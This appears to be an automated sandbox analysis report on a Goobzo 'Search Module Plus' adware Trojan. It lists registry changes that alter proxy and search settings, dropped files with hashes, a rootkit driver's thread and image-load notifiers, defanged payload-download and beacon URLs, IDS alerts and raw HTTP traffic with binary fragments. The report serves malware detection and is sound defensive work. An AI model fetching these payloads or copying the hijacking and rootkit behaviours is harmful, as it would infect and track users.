"SuggestionsURL" = "http://api.searchpredict.com/api/?rqtype=ffplugin%26siteID=8661%26dbCode=1%26command={searchTerms}"

"FaviconURL" = "http://www-searching.com/favicon.ico"

[HKLM\SOFTWARE\Microsoft\Tracing\ins_U501EXE_RASAPI32]

"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\ins_U501EXE_RASMANCS]

"ConsoleTracingMask" = "4294901760"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyEnable" = "0"

The Trojan deletes the following registry key(s):

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyServer"

"AutoConfigURL"

The process tcpsvcs.exe:1504 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\SearchModulePlus\Info]

"Version" = "2.3.12.1634"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\smu.exe]

"Plus" = "1"

"(Default)" = "%Program Files%\Common Files\Goobzo\GBUpdatePlus\smu.exe"

[HKLM\SOFTWARE\SearchModulePlus\Info]

"ExeLocation" = "%Program Files%\Common Files\Goobzo\GBUpdatePlus\smu.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Search Module Plus]

"DisplayIcon" = "%Program Files%\Common Files\Goobzo\GBUpdatePlus\smUninstall.exe"

"UninstallString" = "%Program Files%\Common Files\Goobzo\GBUpdatePlus\smUninstall.exe"

"DisplayName" = "Search Module Plus"

"Publisher" = "Goobzo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\SearchModulePlus\Info]

"Aff" = "FAAzamodk0,99999999-9999-4180-88c6-7a076893e507,"

"UserId" = "732923889-1296844034-1208581001"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\smu.exe]

"Install" = "%Program Files%\Common Files\Goobzo\GBUpdatePlus"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"ProxyBypass"

"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"IntranetName"

Dropped PE files

MD5	File path
c5bf0ea484893a959b3ef0e7f041f379	c:\Program Files\Common Files\Goobzo\GBUpdatePlus\SBIEBrowserHelperObject.dll
29f111a07a51d38b8379171d3cf39ddb	c:\Program Files\Common Files\Goobzo\GBUpdatePlus\SMUninstall.exe
2dd50829f5ce91e033636553405263ca	c:\Program Files\Common Files\Goobzo\GBUpdatePlus\Updater.exe
a879b0ae2ad98ac8e1c0f8912837eb2d	c:\Program Files\Common Files\Goobzo\GBUpdatePlus\rlz_id.dll
5931f1438015a3e263226d6ea4a8b182	c:\Program Files\Common Files\Goobzo\GBUpdatePlus\sma.exe
675f7fdc1224c197df5e7eef84d1a8f9	c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smci32.dll
10ba4048085923cf264eaeee708e98ab	c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smi32.exe
4db4b7e64f2fb4e5394d085afb429280	c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smp.exe
556b1f1d6fd1f191c77b1167cd006abc	c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smu.exe
c9828a10a4b5644cf236b1cce749dddb	c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smw.sys
05c47da12b0009bd98653f51287f7768	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_22888\bxsdk32.dll

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "\??\%Program Files%\Common Files\Goobzo\GBUpdatePlus\smw.sys" the Trojan controls creation and closing of threads by installing the thread notifier

Using the driver "\??\%Program Files%\Common Files\Goobzo\GBUpdatePlus\smw.sys" the Trojan controls loading executable images into a memory by installing the Load image notifier

Propagation

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version: 2.11.0.999
Legal Copyright: Copyright (C) 2014
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.11.0.999
File Description:
Comments:
Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	760735	760832	4.56168	a9cacf15e913be2edf8056b7b3c7c54e
.rdata	765952	234734	235008	3.03602	c4a59491089058aee935dcac3ad25217
.data	1003520	24872	9216	2.60093	4fa01dc463d1d2fe998b6fb156e49847
.rsrc	1032192	30912	31232	3.43692	ffbcb515ad454512ea92926edc9d30de
.reloc	1064960	48620	48640	4.61783	73b154c681e17bd08459beb64281acae

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://dyd9qf154h76q.cloudfront.net/bxsdk32.dll	54.192.203.182
hxxp://d11sfnc01fj8ag.cloudfront.net/SetterExeV18.exe	54.192.203.231
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=obiBp3WOda8YEV9pcuJwXtjCW9+eJMmAWub0ofDzkCEegceCn+LKWZkWWo76FGxQr+J80GV4qARlUrzhzYzRp9T0p0D2ZyJQsnGPPRmjDA5d2L30lHqijijq6TspxE6m6TnR9dT7ayjH2CJtGrtsnASlhOyjLJ/CbfW9VjeXxBEUN4frQ/ABXA9OLpJMWKahtbjfpf6GllFxBbrJqAIXPkCN9h+bV19VAhTD7v1xeC4pGvADS7bOhhWoLVpCM9iEhqt6HrlyoIuXkcHJamqYAkU5MDCXDxgXn558pQYeTa+1l+1OLNhgAaPzXL8pY6Nn8Drm/gTHnKRatpWcD7V21UixaxLjlbxVMF4Batz9n/4=	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=aQQpsP6/AW3U0UsIWSR1jVRnyF84anr3YDEAjQn1Lmtt1izXJZF/6oareh65cqCLl5HByWpqmAJFOTAwlw8YF5+efKUGHk2vtZftTizYYAGj81y/KWOjZzLYAxbXqOnWZKpgXCSq4SBoojstDGwv8wEB3BDXIoENw3BCY3BRdztfQ36gIM4S0WyMJQRmsW+nYPPrzpUjRdY8g5+vR6QEB49De26f9ELU77BAEjXP3GmOBvq/txek+z3knywc6xSb	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=QgW8pN5r26bof2QYjF1uPwq//z5qhHoX0EzYvxMWJRokIQgzNWOGCn+5ot6+EvdWkYIKgNqWBwS9Kbi6m4oCRvcc+ZMAWsaKd+CV/tiwlgli8v7N56mSgbKWjlfhE4uZvYsjUyDjDPpQHbPfmjbRP4kEtwV0krU/zEwKmF3LBrNhJ1C2zC9NPmVzJiGxHpFRq/+mwRQciAPvbT+dq0IdZd990QLzNFTA30wp9ZePTAnJscN+vLrCowpfd9Pvun2DZj3l0wecJba60LKguj6icg==	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=QgW8pN5r26bof2QYjF1uPwq//z5qhHoX0EzYvxMWJRokIQgzNWOGCn+5ot6+EvdWkYIKgNqWBwS9Kbi6m4oCRvcc+ZMAWsaKd+CV/tiwlgli8v7N56mSgbKWjlfhE4uZvYsjUyDjDPpQHbPfmjbRP4kEtwV0krU/zEwKmF3LBrNhJ1C2zC9NPmVzJiGxHpFRq/+mwRQciAPvbT+dq0IdZd990QLzNFTAqiKuwJ2QNWAL/XWHChDxEUKABP6K/iqqggPnHli0tZCBSCbmHG3q6QlEj4/HBfPTcUDrej7Uo8w=	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=b1dRW7RxYKeNWlFVunW/r8YGSI1d+A8Aymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk9UB7N1/dopRlFU7gimmHq/JscN+vLrCo14/JpwhTbJacCuTErr5qdU=	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=b1dRW7RxYKeNWlFVunW/r8YGSI1d+A8Aymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk9UB7N1/dopRLWT0ooBBF1fVw12R6ofm/Y8iQvDAJnGKH8qnmCyK7v7JBTPp2F5gxC+Mhrkq09y/amn0hKiMbceR3MOwIZ76JwmTqIjEwZJX8qZPamPhh78rf8SKYsXwuBxaqSxr2X7ENAlt3MuTiXc=	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=b1dRW7RxYKeNWlFVunW/r8YGSI1d+A8Aymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk9UB7N1/dopR5YFWQUANi8+KgQWEQh9QronZvqoB+8mW4yIycFcn/+g=	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=b1dRW7RxYKeNWlFVunW/r8YGSI1d+A8Aymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk9UB7N1/dopRDvO0EiF3oHTyyO6Ebs4xmkKABP6K/iqqIBnlKRxyFokkn0XLiH0dH1LtCiNSAKYFf5JnRTepcv7VTVcd9MOBGUtwntjomLvg8OihZvFiIAIMn/yeJ21ljtcBdNV8N7h+	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=b1dRW7RxYKeNWlFVunW/r8YGSI1d+A8Aymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk9UB7N1/dopRvcTB46xWnxTTJVfgp7thqbPiCC4paVhd	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=xY8ohDYpM+gO8fn3umFd+V2PNcPuKknMw/KXmUS+MBMPOudYiEhu9PpaBjL6rcaUmQydu7v0XOmnNguChnjFYyy9pizPgo8YGz00ySamWlnMFAdL1xhsmXw8+OWurQVw3PC7x86FjYgov37HB1B/zlU5UwOzfEgnfa6VRey9pub6LKPMT5YRxqPDlT6qw/1mxko6F4tH/rEF31vgH+2Mrl+JfVwpv1Wva0hvOLfOrKD/wvFkFqnHHo4G+r+3F6T7MDuG8rKmKv5M2lG/K85LIzCdXy2lTPRW3vJOpxfY9B1A6K4wtfvcx1y2OGa7t1CL4lfxm/XoqxEdjLvQZAWuHXAH+fOgpHnMH6wMvCefXXf+GeemgIzPxkm30CyQo1Eg	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=xY8ohDYpM+iNWlFVunW/r0mQNIN2FjZnymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk3qnzi9PVmquIApimWCrqakE8SFHLIEPsGc6+n+uqijtZ6R90h7cidQhE1rXBz99ttxfA3C6KKE5uvEmaSYLmhGU1IGevJVygthPlRO7ICGTcD5MbnMHcJ64LtTjETGDUCjBYGPK7rWfXeCi/0KZZptbQRhqH8Cssw==	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=XJYuqQQo69dBmScQe+cMuF2PNcPuKknMCkdmPrP3LyEPOudYiEhu9PpaBjL6rcaUmQydu7v0XOmnNguChnjFYyy9pizPgo8YGz00ySamWlnMFAdL1xhsmXw8+OWurQVw3PC7x86FjYgov37HB1B/zlU5UwOzfEgnfa6VRey9pub6LKPMT5YRxqPDlT6qw/1mxko6F4tH/rEF31vgH+2Mrp7TtIX8b4qVoW979+PTPR/sLIuaJBIVfI4G+r+3F6T7f9F3I6C91SWT/e9lpr/riA==	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=lOCrbsNL2zWNWlFVunW/r0mQNIN2FjZnymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk3qnzi9PVmquvcTB46xWnxTle2fwOdHS0Y4G+r+3F6T7bkBEy9Iv+l4=	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=lOCrbsNL2zWNWlFVunW/r0mQNIN2FjZnymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk3qnzi9PVmqu/rKHYTwtRGYUAvnawhe3hbaBd5qR8ufkww3xXMGSlPc=	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=lOCrbsNL2zWNWlFVunW/r0mQNIN2FjZnymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk3qnzi9PVmqu/rKHYTwtRGYUAvnawhe3hYcizBU3y3xpkudLwF4whtg=	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=lOCrbsNL2zWNWlFVunW/r0mQNIN2FjZnymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk3qnzi9PVmqujsg/omkWbCTQlB3kfGAhd0M7+7p6G3XAOQeYuSCl878AKo0mRYbtZmTrdmoQBtHVvQShiKWZ9cFEj3apiqwElP87VSn8EQRfyltSMgrsTyl8aUSP2VoumlpLPC+4XcIm7cGFoGtp5ECS7IK1ett99MZ5kXJQtKy834mgW150Op0Y6r6EQu3En4ua1g4fVI4GJA9YFpnE8QO8567A9PF2tojJydmmwDtH8qBHSjX/hDYPr3Ugg3/8WtyvhlGeipNV537D3i/QmJNPHtdPmcrksKcwUL4uIo9bBcP67p/rswd0aUeoU+PGdmwVVPh7TxXkBCDWG0W34WuMrG6DH6H0HA==	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=lOCrbsNL2zWNWlFVunW/r0mQNIN2FjZnymls69hKl9tmuEHgxcoWKfKgR0o1/4Q2D691IIN//Frcr4ZRnoqTVed+w94v0JiTTx7XT5nK5LCnMFC+LiKPW3CdmCq5IQSELYVoKyjeTfp30iFVS+yzj8CZ3PTQ1UlUpEhiK7+V9AecEbv57UoccxOeRFW191e4SaPEemp2rOI48VIs1kHEk3qnzi9PVmqubz0XqPn9zR0IiyFlsxNmPbPiCC4paVhdpvBRerX5l2CaTGmM9zHPWA==	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=WL9usJOVMsOQs+n7i1BIkNjCW9+eJMmApZtSBouT4jcegceCn+LKWZkWWo76FGxQr+J80GV4qARlUrzhzYzRp9T0p0D2ZyJQsnGPPRmjDA5d2L30lHqijijq6TspxE6m6TnR9dT7ayjH2CJtGrtsnASlhOyjLJ/CbfW9VjeXxBEUN4frQ/ABXA9OLpJMWKahtbjfpf6GllFxBbrJqAIXPlLthe3E5HJFfRWApYRElbXqR4rzu9tChTEzQGoF+c24CSOMVPCH+eA=	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=WL9usJOVMsPlWW0ay34fCUdUxmGl9EyeYDEAjQn1Lmtt1izXJZF/6oareh65cqCLl5HByWpqmAJFOTAwlw8YF5+efKUGHk2vtZftTizYYAGj81y/KWOjZzLYAxbXqOnWZKpgXCSq4SBoojstDGwv8wEB3BDXIoENw3BCY3BRdztfQ36gIM4S0WyMJQRmsW+nYPPrzpUjRdY8g5+vR6QEB/nYE3DWujWaoU2sQ4uGCDUUAvnawhe3hbDffmPgH7pM6gKn8h0qT3aBcaoZob0e9Q==	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=WL9usJOVMsPlWW0ay34fCUdUxmGl9EyeYDEAjQn1Lmtt1izXJZF/6oareh65cqCLl5HByWpqmAJFOTAwlw8YF5+efKUGHk2vtZftTizYYAGj81y/KWOjZzLYAxbXqOnWZKpgXCSq4SBoojstDGwv8wEB3BDXIoENw3BCY3BRdztfQ36gIM4S0WyMJQRmsW+nYPPrzpUjRdY8g5+vR6QEB/nYE3DWujWaoU2sQ4uGCDUUAvnawhe3hbDffmPgH7pMiQNTh4u5dqPxEMNdFi25Gw==	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=WL9usJOVMsPlWW0ay34fCUdUxmGl9EyeYDEAjQn1Lmtt1izXJZF/6oareh65cqCLl5HByWpqmAJFOTAwlw8YF5+efKUGHk2vtZftTizYYAGj81y/KWOjZzLYAxbXqOnWZKpgXCSq4SBoojstDGwv8wEB3BDXIoENw3BCY3BRdztfQ36gIM4S0WyMJQRmsW+nYPPrzpUjRdY8g5+vR6QEB/nYE3DWujWaoU2sQ4uGCDUUAvnawhe3hYcizBU3y3xpkudLwF4whtg=	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=043Mckb8Lnhw7iCtSAyu/+QhfXa/CCW5NPZS6pZIlAEr4Spdf2ZexL9An1YluClXsGG6qLQR8LceI9VTThLJ3UlF4mqrDXF/L3OhFAPbRTejORB6u31KNxKv6VolbFNDUxX212nyBDAafyyUl+C9vORgvLZHT+a72UC/bfWIAgSqinVSQQ1bE6yLXK7ul6nZPXUNd68JXUDrKwD6t+b1ZfKiWnlKjT8nQI8HtM9wp5Tx0cXu7AB1uimF904v4t2DIApimWCrqakt3bH6c7GAHITnquSe8GwjLnPqEPf2/rl3s8pSKbhxWudjDabjiU15bfhBVTXmVIKy2EBoQQl304tsVuXqTBm48VmE3ZuCJs4y1aJnkp+ScdBb0CbA7Wqcrbq8YHwKZS4RrSPwflTyFw==	54.192.203.78
hxxp://d13s98z2lzti92.cloudfront.net/smw121634dp.exe	54.192.203.172
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=lOCrbsNL2zXY+n+Drgf83Ceu24nwBOho9kJpoiaoxYTLUfe2AWI4iW/NJcbq0HoEgctTzNTrZipoENv9hv+yb1U5UwOzfEgnfa6VRey9pub6LKPMT5YRxqPDlT6qw/1mxko6F4tH/rEF31vgH+2Mri4btG+OZIk/aFQl5nsf8/DcvKSgaF6RF7PiCC4paVhdKPgmwjXNu7I=	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=lOCrbsNL2zXY+n+Drgf83Ceu24nwBOho9kJpoiaoxYR6njPZcIS19LQZ0RbIZgn/G04r2GZQbxA4k4Gm5vvSsnGAt48jCvkuTKeC3EisBSuPQCW3Xc52o2/NJcbq0HoEgctTzNTrZipoENv9hv+yb1U5UwOzfEgnfa6VRey9pub6LKPMT5YRxqPDlT6qw/1mxko6F4tH/rEF31vgH+2Mri4btG+OZIk/aFQl5nsf8/DcvKSgaF6RF7PiCC4paVhdYzx82mF+8+w=	54.192.203.78
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=bdqY0vC4PYtCQdt9doPgoA0rZFNspeHnFDDfVv/vH29/uaLevhL3VpGCCoDalgcEvSm4upuKAkb3HPmTAFrGinfglf7YsJYJYvL+zeepkoH7lS9xrvVML+BEf8zqYXvVBuc4HO5RaucB0eAPmqRh7cqZ27dtquSa6Yc5lgnLWj9NhpNg/N/OrsNgV0KIQ93+dulfay3+QHl32cx0G27ZSGAqR2XPWVGh9o0hxHg3iWEUAvnawhe3hRc0NdkJ4D18DFbcjOkM5Uo+QFr7zZfYbQ==	54.192.203.78
hxxp://d23ocewf5ttxmu.cloudfront.net/br.ashx?pid={PID}%26aid={AID}%26ss=0%26s=FAAzamodk0,99999999-9999-4180-88c6-7a076893e507,%26v=2.3.12.1634%26md5=8fabe64f8ec5d8b0b835e8a83f29082c%26mid=AiAAAiAAA3A9AAA7A3AJieA1A91J7L773DiLAiiAA13D1J%26uid=6F75218C-FEA5-4C12-BC59-BB31CD1E1E1A	54.192.203.154
hxxp://d23ocewf5ttxmu.cloudfront.net/br.ashx?pid={PID}%26aid={AID}%26ss=0%26s=FAAzamodk0,99999999-9999-4180-88c6-7a076893e507,%26v=2.3.12.1634%26md5=8e5f14f8a0400cd752505753c0d3e3a5%26mid=AiAAAiAAA3A9AAA7A3AJieA1A91J7L773DiLAiiAA13D1J%26uid=6F75218C-FEA5-4C12-BC59-BB31CD1E1E1A	54.192.203.154
hxxp://d23ocewf5ttxmu.cloudfront.net/br.ashx?pid={PID}%26aid={AID}%26ss=0%26s=FAAzamodk0,99999999-9999-4180-88c6-7a076893e507,%26v=2.3.12.1634%26md5=c4fa67064bd22dd0878e685855ab7e9a%26mid=AiAAAiAAA3A9AAA7A3AJieA1A91J7L773DiLAiiAA13D1J%26uid=6F75218C-FEA5-4C12-BC59-BB31CD1E1E1A	54.192.203.154

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY PE EXE or DLL Windows file download HTTP

ET POLICY Executable served from Amazon S3

ET POLICY Unsupported/Fake Windows NT Version 5.0

ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET /bxsdk32.dll HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dyd9qf154h76q.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 942080
Connection: keep-alive
Date: Thu, 16 Mar 2017 13:47:42 GMT
Last-Modified: Tue, 25 Nov 2014 14:05:45 GMT
ETag: "05c47da12b0009bd98653f51287f7768"
Accept-Ranges: bytes
Server: AmazonS3
Age: 64835
X-Cache: Hit from cloudfront
Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: FsDAYkxk2XssNWIwo0JzA2LXQpVjlT2zjtCWJVvPC-tU_XcSyLk26w==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......gu..#...#...
#.......!...........#...........I......."......."......."...Rich#.....
......................PE..L...9.dT...........!................P.......
.................................`....................................
..............................................tn..@...................
................................8............................text...O.
.......................... ..`.rdata...t..........................@..@
.data...x.... ....... ..............@....rsrc.........................
......@..@.reloc..............................@..B....................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................

GET /SetterExeV18.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d11sfnc01fj8ag.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: private
Last-Modified: Tue, 28 Jul 2015 20:29:52 GMT
Accept-Ranges: bytes
ETag: "a670962874c9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:19:55 GMT
Content-Range: bytes 0-249999/520704
X-Cache: Miss from cloudfront
Via: 1.1 27b3a801292660302bc6c8d6a96c71ce.cloudfront.net (CloudFront)
X-Amz-Cf-Id: MJpICvSj2Cydx-1WUjll0t1VA0m2Ma9kx_kASN-RYyDUhX-SsbfcrA==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......]O..........
......*......|2......|..K....|.......V~.............dW..-....|6.......
z.....dW3.....Rich....................PE..L......U....................
......................@..........................@............@.......
...........................%26gt;..................................tY...
...................................@..................................
..........text...E........................... ..`.rdata...............
...............@..@.data....[...`...6...F..............@....rsrc......
..........|..............@..@.reloc..tY.......Z..................@..B.
......................................................................
......................................................................
......................................................................
......................................................................
...............................................h`.E..uW..Y.V...F.V.^..
.YPV..wG... ..hk.E..PW..Y^.V...F.V.8...YPV..vG... ..hz.E..*W..Y^.V...F
.V.....YPV..vG..\ ..h..E...W..Y^.V...F.V.....YPV..vG..6 ..h..E...V..Y^
.V...F.V.....YPV..vG... ..h..E...V..Y^.V...F.V.....YPV..vG......h..E..
.V..Y^.V...F.V.z...YPV.PvG......h..E..lV..Y^.h..F....G......h..E..PV..
Y.h..F....G......h..E..5V..Y.V.(.F.V.....YPV.hvG..h...h..E...V..Y^.V.8
.F.V.....YPV..vG..B...h..E...U..Y^.h%26.E...U..Y.h..E...U..Y.h..E...U..Y
.h@.E...U..Y.V...F.V.....YPV..wG......hK.E...U..Y^.V...F.V.|...YPV

GET /SetterExeV18.exe HTTP/1.1
Range: bytes=500000-520703
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d11sfnc01fj8ag.cloudfront.net
Connection: Keep-Alive

HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 20704
Connection: keep-alive
Cache-Control: private
Last-Modified: Tue, 28 Jul 2015 20:29:52 GMT
Accept-Ranges: bytes
ETag: "a670962874c9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 20 Mar 2017 00:19:56 GMT
Content-Range: bytes 500000-520703/520704
X-Cache: Miss from cloudfront
Via: 1.1 27b3a801292660302bc6c8d6a96c71ce.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 3GTcsb7j63vuDDgY2d3TJxFAlC8gP__tZGa3NEqL3Ij31jqEzaeSAA==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 20704..Connection: keep-alive..Cache-Control: private.
.Last-Modified: Tue, 28 Jul 2015 20:29:52 GMT..Accept-Ranges: bytes..E
Tag: "a670962874c9d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: ASP
.NET..Date: Mon, 20 Mar 2017 00:19:56 GMT..Content-Range: bytes 500000
-520703/520704..X-Cache: Miss from cloudfront..Via: 1.1 27b3a801292660
302bc6c8d6a96c71ce.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 3GTcsb7j6
3vuDDgY2d3TJxFAlC8gP__tZGa3NEqL3Ij31jqEzaeSAA==......`...1090.0.1y1.1.
1.1.1.1.2R2.5.5j6p6.6.6.7.7.7.8.8.9.9.:.:2:.:.:.;.;.%26lt;.%26lt;.%26lt;f%26gt
;.%26gt;.%26gt;.%26gt;V?y?.?.?......d...O0.0.0.1.1S1.2.2.2.2.2.3.3.4.4.4.6.6
.7+7.7.7.7!8|8.9.989D9.92:.:.:.:.;.;.;0%26lt;?%26lt;[%26lt;j%26lt;.= =.=s%26gt;}
%26gt;....(...!101%26gt;1.1.1.5.5.5N9]9k9.9.9R=a=o=.........0.1.1.2;2H2\2.
2.4P4v4.4.5i6.6.6.6.6.6.7.7 7W7d7x7.7.7.7.7.7.848L8R8.8.8.8.8.959.9.9.
:+:l:.:.:.:.;X;.;.;.;I%26lt;.%26lt;.%26lt;.%26lt;.=.=.=.=.=.%26gt;;%26gt;P%26gt;h%26gt
;y%26gt;.%26gt;. .......010.0.0.0.1W1\1t1.1.1.1.1.222N2S2_2d2|2.2.2.2.2.2.
